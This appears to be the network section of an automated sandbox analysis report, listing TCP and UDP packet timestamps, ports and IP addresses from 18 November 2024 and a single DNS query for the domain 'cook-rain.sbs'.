Nov 18, 2024 05:58:07.133577108 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.133594036 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.141424894 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:07.141459942 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:07.141506910 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:07.141529083 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:07.141606092 CET	60520	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:07.141606092 CET	60520	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:07.141606092 CET	60520	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:07.141643047 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:07.141705990 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:07.141766071 CET	60520	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:07.141774893 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:07.141911983 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:07.142034054 CET	60520	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:07.142674923 CET	60520	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:07.142692089 CET	443	60520	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:07.149997950 CET	60529	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:07.150022984 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:07.150106907 CET	60529	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:07.150286913 CET	60529	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:07.150300980 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:07.253031969 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.253067017 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.253102064 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.253120899 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.253140926 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.253160954 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.372386932 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.372414112 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.372478008 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.372545004 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.372581005 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.372878075 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.491693974 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.491719961 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.491802931 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.491875887 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.491923094 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.526731014 CET	443	60527	184.28.90.27	192.168.2.6
Nov 18, 2024 05:58:07.526833057 CET	60527	443	192.168.2.6	184.28.90.27
Nov 18, 2024 05:58:07.529089928 CET	60527	443	192.168.2.6	184.28.90.27
Nov 18, 2024 05:58:07.529122114 CET	443	60527	184.28.90.27	192.168.2.6
Nov 18, 2024 05:58:07.529381037 CET	443	60527	184.28.90.27	192.168.2.6
Nov 18, 2024 05:58:07.571338892 CET	60527	443	192.168.2.6	184.28.90.27
Nov 18, 2024 05:58:07.611054897 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.611074924 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.611164093 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.611224890 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.611296892 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.626105070 CET	60527	443	192.168.2.6	184.28.90.27
Nov 18, 2024 05:58:07.667355061 CET	443	60527	184.28.90.27	192.168.2.6
Nov 18, 2024 05:58:07.736279011 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.736299038 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.736365080 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.736386061 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.736500978 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.833767891 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.833787918 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.833859921 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.833889008 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.833971977 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.869415045 CET	443	60527	184.28.90.27	192.168.2.6
Nov 18, 2024 05:58:07.869503021 CET	443	60527	184.28.90.27	192.168.2.6
Nov 18, 2024 05:58:07.869581938 CET	60527	443	192.168.2.6	184.28.90.27
Nov 18, 2024 05:58:07.869672060 CET	60527	443	192.168.2.6	184.28.90.27
Nov 18, 2024 05:58:07.869672060 CET	60527	443	192.168.2.6	184.28.90.27
Nov 18, 2024 05:58:07.869719028 CET	443	60527	184.28.90.27	192.168.2.6
Nov 18, 2024 05:58:07.869749069 CET	443	60527	184.28.90.27	192.168.2.6
Nov 18, 2024 05:58:07.883200884 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:07.883517027 CET	60529	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:07.883548021 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:07.885030031 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:07.885106087 CET	60529	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:07.888746977 CET	60529	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:07.888858080 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:07.889040947 CET	60529	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:07.889060020 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:07.916397095 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.916418076 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.916529894 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.916589975 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.916666985 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.919989109 CET	60535	443	192.168.2.6	184.28.90.27
Nov 18, 2024 05:58:07.920048952 CET	443	60535	184.28.90.27	192.168.2.6
Nov 18, 2024 05:58:07.920305967 CET	60535	443	192.168.2.6	184.28.90.27
Nov 18, 2024 05:58:07.920573950 CET	60535	443	192.168.2.6	184.28.90.27
Nov 18, 2024 05:58:07.920604944 CET	443	60535	184.28.90.27	192.168.2.6
Nov 18, 2024 05:58:07.929590940 CET	60529	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:07.975487947 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.975503922 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.975577116 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:07.975600004 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:07.975672007 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:08.094336987 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:08.094351053 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:08.094429016 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:08.094454050 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:08.094513893 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:08.120965958 CET	443	60528	40.113.103.199	192.168.2.6
Nov 18, 2024 05:58:08.121105909 CET	60528	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:08.123333931 CET	60528	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:08.123344898 CET	443	60528	40.113.103.199	192.168.2.6
Nov 18, 2024 05:58:08.123697996 CET	443	60528	40.113.103.199	192.168.2.6
Nov 18, 2024 05:58:08.125370979 CET	60528	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:08.125467062 CET	60528	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:08.125473022 CET	443	60528	40.113.103.199	192.168.2.6
Nov 18, 2024 05:58:08.125541925 CET	60528	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:08.140970945 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:08.141000032 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:08.141011000 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:08.141058922 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:08.141071081 CET	60529	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:08.141103029 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:08.141117096 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:08.141133070 CET	60529	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:08.141146898 CET	60529	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:08.141170025 CET	60529	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:08.155242920 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:08.155294895 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:08.155339956 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:08.155344963 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:08.155390978 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:08.155412912 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:08.155752897 CET	60521	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:08.155777931 CET	443	60521	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:08.167330980 CET	443	60528	40.113.103.199	192.168.2.6
Nov 18, 2024 05:58:08.176407099 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:08.176450968 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:08.176517010 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:08.176820993 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:08.176842928 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:08.257484913 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:08.257519960 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:08.257632971 CET	60529	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:08.257666111 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:08.258676052 CET	60529	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:08.372123003 CET	443	60528	40.113.103.199	192.168.2.6
Nov 18, 2024 05:58:08.372591019 CET	60528	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:08.372591019 CET	60528	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:08.372606993 CET	443	60528	40.113.103.199	192.168.2.6
Nov 18, 2024 05:58:08.372684956 CET	60528	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:08.375307083 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:08.375385046 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:08.375427008 CET	60529	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:08.375457048 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:08.375475883 CET	60529	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:08.375638962 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:08.375694990 CET	60529	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:08.375703096 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:08.375818968 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:08.375891924 CET	60529	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:08.376307964 CET	60529	443	192.168.2.6	13.107.246.42
Nov 18, 2024 05:58:08.376327038 CET	443	60529	13.107.246.42	192.168.2.6
Nov 18, 2024 05:58:08.770836115 CET	443	60535	184.28.90.27	192.168.2.6
Nov 18, 2024 05:58:08.770937920 CET	60535	443	192.168.2.6	184.28.90.27
Nov 18, 2024 05:58:08.773029089 CET	60535	443	192.168.2.6	184.28.90.27
Nov 18, 2024 05:58:08.773058891 CET	443	60535	184.28.90.27	192.168.2.6
Nov 18, 2024 05:58:08.773977041 CET	443	60535	184.28.90.27	192.168.2.6
Nov 18, 2024 05:58:08.775423050 CET	60535	443	192.168.2.6	184.28.90.27
Nov 18, 2024 05:58:08.819365978 CET	443	60535	184.28.90.27	192.168.2.6
Nov 18, 2024 05:58:08.914742947 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:08.914974928 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:08.915005922 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:08.918211937 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:08.918273926 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:08.918618917 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:08.918708086 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:08.918801069 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:08.918824911 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:08.962704897 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.019851923 CET	443	60535	184.28.90.27	192.168.2.6
Nov 18, 2024 05:58:09.020085096 CET	443	60535	184.28.90.27	192.168.2.6
Nov 18, 2024 05:58:09.020159006 CET	60535	443	192.168.2.6	184.28.90.27
Nov 18, 2024 05:58:09.020957947 CET	60535	443	192.168.2.6	184.28.90.27
Nov 18, 2024 05:58:09.020991087 CET	443	60535	184.28.90.27	192.168.2.6
Nov 18, 2024 05:58:09.021018982 CET	60535	443	192.168.2.6	184.28.90.27
Nov 18, 2024 05:58:09.021034956 CET	443	60535	184.28.90.27	192.168.2.6
Nov 18, 2024 05:58:09.168606997 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.168675900 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.168714046 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.168732882 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.168747902 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.168755054 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.168776989 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.168786049 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.168801069 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.168827057 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.287379026 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.287445068 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.287480116 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.287518024 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.287537098 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.287554026 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.405935049 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.405998945 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.406029940 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.406065941 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.406085014 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.408651114 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.525887966 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.525917053 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.525957108 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.525993109 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.526012897 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.526031971 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.644742966 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.644809961 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.644941092 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.644941092 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.645006895 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.645102978 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.762851000 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.762917995 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.762960911 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.763021946 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.763062000 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.763084888 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.881535053 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.881596088 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.881624937 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.881658077 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.881676912 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.881850958 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:09.999763966 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:09.999824047 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:10.000138998 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:10.000190020 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:10.000839949 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:10.092736006 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:10.092766047 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:10.092891932 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:10.092905998 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:10.093497992 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:10.120186090 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:10.120207071 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:10.120354891 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:10.120354891 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:10.120363951 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:10.120776892 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:10.238056898 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:10.238087893 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:10.238238096 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:10.238238096 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:10.238270044 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:10.238667965 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:10.356345892 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:10.356415033 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:10.356465101 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:10.356534004 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:10.356570959 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:10.356888056 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:10.357795000 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:10.357882023 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:10.357959032 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:10.357984066 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:10.358020067 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:10.358028889 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:10.358078957 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:10.358270884 CET	60536	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:58:10.358303070 CET	443	60536	13.107.246.45	192.168.2.6
Nov 18, 2024 05:58:16.946371078 CET	443	60526	216.58.206.68	192.168.2.6
Nov 18, 2024 05:58:16.946439981 CET	443	60526	216.58.206.68	192.168.2.6
Nov 18, 2024 05:58:16.946502924 CET	60526	443	192.168.2.6	216.58.206.68
Nov 18, 2024 05:58:17.428885937 CET	60526	443	192.168.2.6	216.58.206.68
Nov 18, 2024 05:58:17.428925991 CET	443	60526	216.58.206.68	192.168.2.6
Nov 18, 2024 05:58:33.763500929 CET	60605	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:33.763596058 CET	443	60605	40.113.103.199	192.168.2.6
Nov 18, 2024 05:58:33.763708115 CET	60605	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:33.764301062 CET	60605	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:33.764338017 CET	443	60605	40.113.103.199	192.168.2.6
Nov 18, 2024 05:58:34.888000011 CET	443	60605	40.113.103.199	192.168.2.6
Nov 18, 2024 05:58:34.888123035 CET	60605	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:34.890065908 CET	60605	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:34.890090942 CET	443	60605	40.113.103.199	192.168.2.6
Nov 18, 2024 05:58:34.891028881 CET	443	60605	40.113.103.199	192.168.2.6
Nov 18, 2024 05:58:34.892914057 CET	60605	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:34.892962933 CET	60605	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:34.892978907 CET	443	60605	40.113.103.199	192.168.2.6
Nov 18, 2024 05:58:34.893117905 CET	60605	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:34.935360909 CET	443	60605	40.113.103.199	192.168.2.6
Nov 18, 2024 05:58:35.144176006 CET	443	60605	40.113.103.199	192.168.2.6
Nov 18, 2024 05:58:35.144942999 CET	60605	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:35.144943953 CET	60605	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:35.145001888 CET	443	60605	40.113.103.199	192.168.2.6
Nov 18, 2024 05:58:35.145092964 CET	60605	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:58:39.804554939 CET	49703	443	192.168.2.6	40.126.32.74
Nov 18, 2024 05:58:39.810025930 CET	443	49703	40.126.32.74	192.168.2.6
Nov 18, 2024 05:58:39.810127020 CET	49703	443	192.168.2.6	40.126.32.74
Nov 18, 2024 05:58:43.522794008 CET	49707	443	192.168.2.6	40.126.32.74
Nov 18, 2024 05:58:43.528742075 CET	443	49707	40.126.32.74	192.168.2.6
Nov 18, 2024 05:58:43.528939962 CET	49707	443	192.168.2.6	40.126.32.74
Nov 18, 2024 05:59:03.468800068 CET	60607	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:59:03.468894958 CET	443	60607	40.113.103.199	192.168.2.6
Nov 18, 2024 05:59:03.469014883 CET	60607	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:59:03.469696999 CET	60607	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:59:03.469778061 CET	443	60607	40.113.103.199	192.168.2.6
Nov 18, 2024 05:59:04.587794065 CET	443	60607	40.113.103.199	192.168.2.6
Nov 18, 2024 05:59:04.588026047 CET	60607	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:59:04.590404034 CET	60607	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:59:04.590457916 CET	443	60607	40.113.103.199	192.168.2.6
Nov 18, 2024 05:59:04.591259956 CET	443	60607	40.113.103.199	192.168.2.6
Nov 18, 2024 05:59:04.593251944 CET	60607	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:59:04.593310118 CET	60607	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:59:04.593322992 CET	443	60607	40.113.103.199	192.168.2.6
Nov 18, 2024 05:59:04.593445063 CET	60607	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:59:04.635377884 CET	443	60607	40.113.103.199	192.168.2.6
Nov 18, 2024 05:59:04.844496965 CET	443	60607	40.113.103.199	192.168.2.6
Nov 18, 2024 05:59:04.845390081 CET	60607	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:59:04.845390081 CET	60607	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:59:04.845457077 CET	443	60607	40.113.103.199	192.168.2.6
Nov 18, 2024 05:59:04.845549107 CET	60607	443	192.168.2.6	40.113.103.199
Nov 18, 2024 05:59:06.149471045 CET	60608	443	192.168.2.6	216.58.206.68
Nov 18, 2024 05:59:06.149569035 CET	443	60608	216.58.206.68	192.168.2.6
Nov 18, 2024 05:59:06.149683952 CET	60608	443	192.168.2.6	216.58.206.68
Nov 18, 2024 05:59:06.150006056 CET	60608	443	192.168.2.6	216.58.206.68
Nov 18, 2024 05:59:06.150089025 CET	443	60608	216.58.206.68	192.168.2.6
Nov 18, 2024 05:59:07.003030062 CET	443	60608	216.58.206.68	192.168.2.6
Nov 18, 2024 05:59:07.003359079 CET	60608	443	192.168.2.6	216.58.206.68
Nov 18, 2024 05:59:07.003426075 CET	443	60608	216.58.206.68	192.168.2.6
Nov 18, 2024 05:59:07.003906012 CET	443	60608	216.58.206.68	192.168.2.6
Nov 18, 2024 05:59:07.004255056 CET	60608	443	192.168.2.6	216.58.206.68
Nov 18, 2024 05:59:07.004350901 CET	443	60608	216.58.206.68	192.168.2.6
Nov 18, 2024 05:59:07.053776979 CET	60608	443	192.168.2.6	216.58.206.68

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2024 05:57:05.293004036 CET	55081	53	192.168.2.6	1.1.1.1
Nov 18, 2024 05:57:05.331996918 CET	53	55081	1.1.1.1	192.168.2.6
Nov 18, 2024 05:57:34.655788898 CET	53	52199	162.159.36.2	192.168.2.6
Nov 18, 2024 05:57:35.266345024 CET	64023	53	192.168.2.6	1.1.1.1
Nov 18, 2024 05:57:35.273993969 CET	53	64023	1.1.1.1	192.168.2.6
Nov 18, 2024 05:57:47.861186981 CET	54943	53	192.168.2.6	1.1.1.1
Nov 18, 2024 05:57:47.899903059 CET	53	54943	1.1.1.1	192.168.2.6
Nov 18, 2024 05:58:05.882283926 CET	61643	53	192.168.2.6	1.1.1.1
Nov 18, 2024 05:58:06.095844030 CET	49226	53	192.168.2.6	1.1.1.1
Nov 18, 2024 05:58:06.103743076 CET	53	49226	1.1.1.1	192.168.2.6
Nov 18, 2024 05:58:15.056751966 CET	61253	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 18, 2024 05:57:05.293004036 CET	192.168.2.6	1.1.1.1	0x85ba	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
